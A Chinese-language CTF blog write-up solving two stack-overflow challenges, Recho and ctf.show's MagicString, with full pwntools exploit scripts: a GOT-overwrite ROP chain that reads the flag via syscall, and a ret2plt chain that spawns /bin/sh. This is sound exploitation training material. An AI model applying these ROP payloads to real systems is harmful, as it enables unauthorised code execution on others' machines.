前言
经过昨天的Ret2syscall学习,今天就想着找一些ret2syscall的题目来提升一下。
题目地址
题目分析
打开题目查看一下保护
然后拖入IDA看下程序逻辑,发现逻辑很简单,就只有一个main,分析下代码
看着是一个很简单的栈溢出,但是read一直为真,也就是程序会一直执行下去,这道题的难点就在于如何让循环停止,百度下知道了在pwntools里有一个shutdown功能,该功能可以关闭流。使程序停止循环。但是关闭后就不能打开,所以我们的ROP要一R到底。
一次性完成所有的操作,可以使用系统调用(syscall)的方法,比较简单的地方在于程序给了我们flag的文件,我们可以利用系统函数读取flag内容然后打印出来。
我们知道open write read alarm
都是系统调用函数,关于系统调用号请到另一篇文章学习系统调用号 。这个程序中已经调用了write read alarm
所以我们缺少open
,open也是系统调用,所以我们只要改变传入的eax,就可以调用open
,我们首先要找到syscall
的地址或调用它的某处地址。
调用open我们可以构造这样的代码来得到flag。
1 2 3
| int fd = open("flag",READONLY); read(fd,buf,100); printf(buf);
|
在程序中我们找不到可以直接利用的syscall
但是我们用不到alarm
所以我们可以通过修改alarm
的got
表地址,使其指向syscall
syscall
和alarm
的偏移为固定的0x5,所以我们可以将alarm
的got表加上偏移的0x5个字节指向syscall,然后通过plt来链接alarm的真实地址调用syscall。
构造ROP
1 2 3 4 5
| ROPgadget --binary ./Recho --only "pop|ret"|grep "rax" ROPgadget --binary ./Recho --only "pop|ret"|grep "rdx" ROPgadget --binary ./Recho --only "pop|ret"|grep "rdi" ROPgadget --binary ./Recho --only "pop|ret"|grep "rsi" ROPgadget --binary ./Recho --only "add|ret"|grep "al"
|
构造payload
我们要做的第一步就是修改alarm的got表内容使其指向syscall,偏移是0x5
也就是rdi=alarm_got
rax=0x5
第二步就是调用系统函数open
来构造读取flag,open系统调用号为0x2
即rsi参数为null
rdi=flag_add
rax=0x2
第三步调用syscall
通过plt来链接alarm的真实地址
第四步构造read(fd,buf,100)
rdi指向buf
用于存放获取的结果。要注意的是open的文件描述符从3
开始,然后依次增加。
第五步指向read函数,读取获取的结果
第六步使用printf函数打印结果
最终exp
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57
| from pwn import * context.log_level = 'debug'
elf = ELF('./Recho') sh = remote('220.249.52.133',55632) pop_rax = 0x00000000004006fc pop_rdx = 0x00000000004006fe pop_rsi = 0x00000000004008a1 pop_rdi = 0x00000000004008a3 bss_add = 0x0000000000601070 rdi_add = 0x000000000040070d flag_add = 0x0000000000601058
alarm_got = elf.got['alarm'] alarm_plt = elf.plt['alarm'] read_plt = elf.plt['read'] printf_plt = elf.plt['printf']
payload = 'a' * 0x38 payload += p64(pop_rdi) payload += p64(alarm_got) payload += p64(pop_rax) payload += p64(0x5) payload += p64(rdi_add)
payload += p64(pop_rsi) payload += p64(0) + p64(0) payload += p64(pop_rdi) payload += p64(flag_add)
payload += p64(pop_rax) payload += p64(0x2)
payload += p64(alarm_plt)
payload += p64(pop_rsi) + p64(bss_add) + p64(0)
payload += p64(pop_rdi) payload += p64(3) payload += p64(pop_rdx)
payload += p64(100)
payload += p64(read_plt)
payload += p64(pop_rdi) payload += p64(bss_add) payload += p64(printf_plt)
payload += payload.ljust(0x200,'\x00') sh.recvuntil('Welcome to Recho server!\n') sh.sendline(str(0x200)) sh.sendline(payload) sh.shutdown('write') sh.interactive()
|
第二道题目
做题平台ctf.show 36D杯MagicString
检查程序,发现只开了NX,想着应该是栈溢出了,IDA分析程序
是64为程序,所以偏移位是0x2a0+8
解题思路
算出偏移0x2a8
将/bin//sh
写入到bss段
然后调用system执行
exp
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24
| from pwn import *
sh = remote('111.231.70.44',28052)
elf = ELF('./pwn')
sys_addr=elf.symbols['system'] gets_plt=elf.plt['gets'] bss_addr =0x0000000000601060 rdi_addr =0x0000000000400733 rsi_r15 = 0x0000000000400731
payload = 'a' * 0x2a8 payload += p64(rdi_addr) payload += p64(bss_addr) payload += p64(gets_plt) payload += p64(rdi_addr) payload += p64(bss_addr) payload += p64(sys_addr)
sh.sendline(payload) sh.sendline('/bin//sh') sh.interactive()
|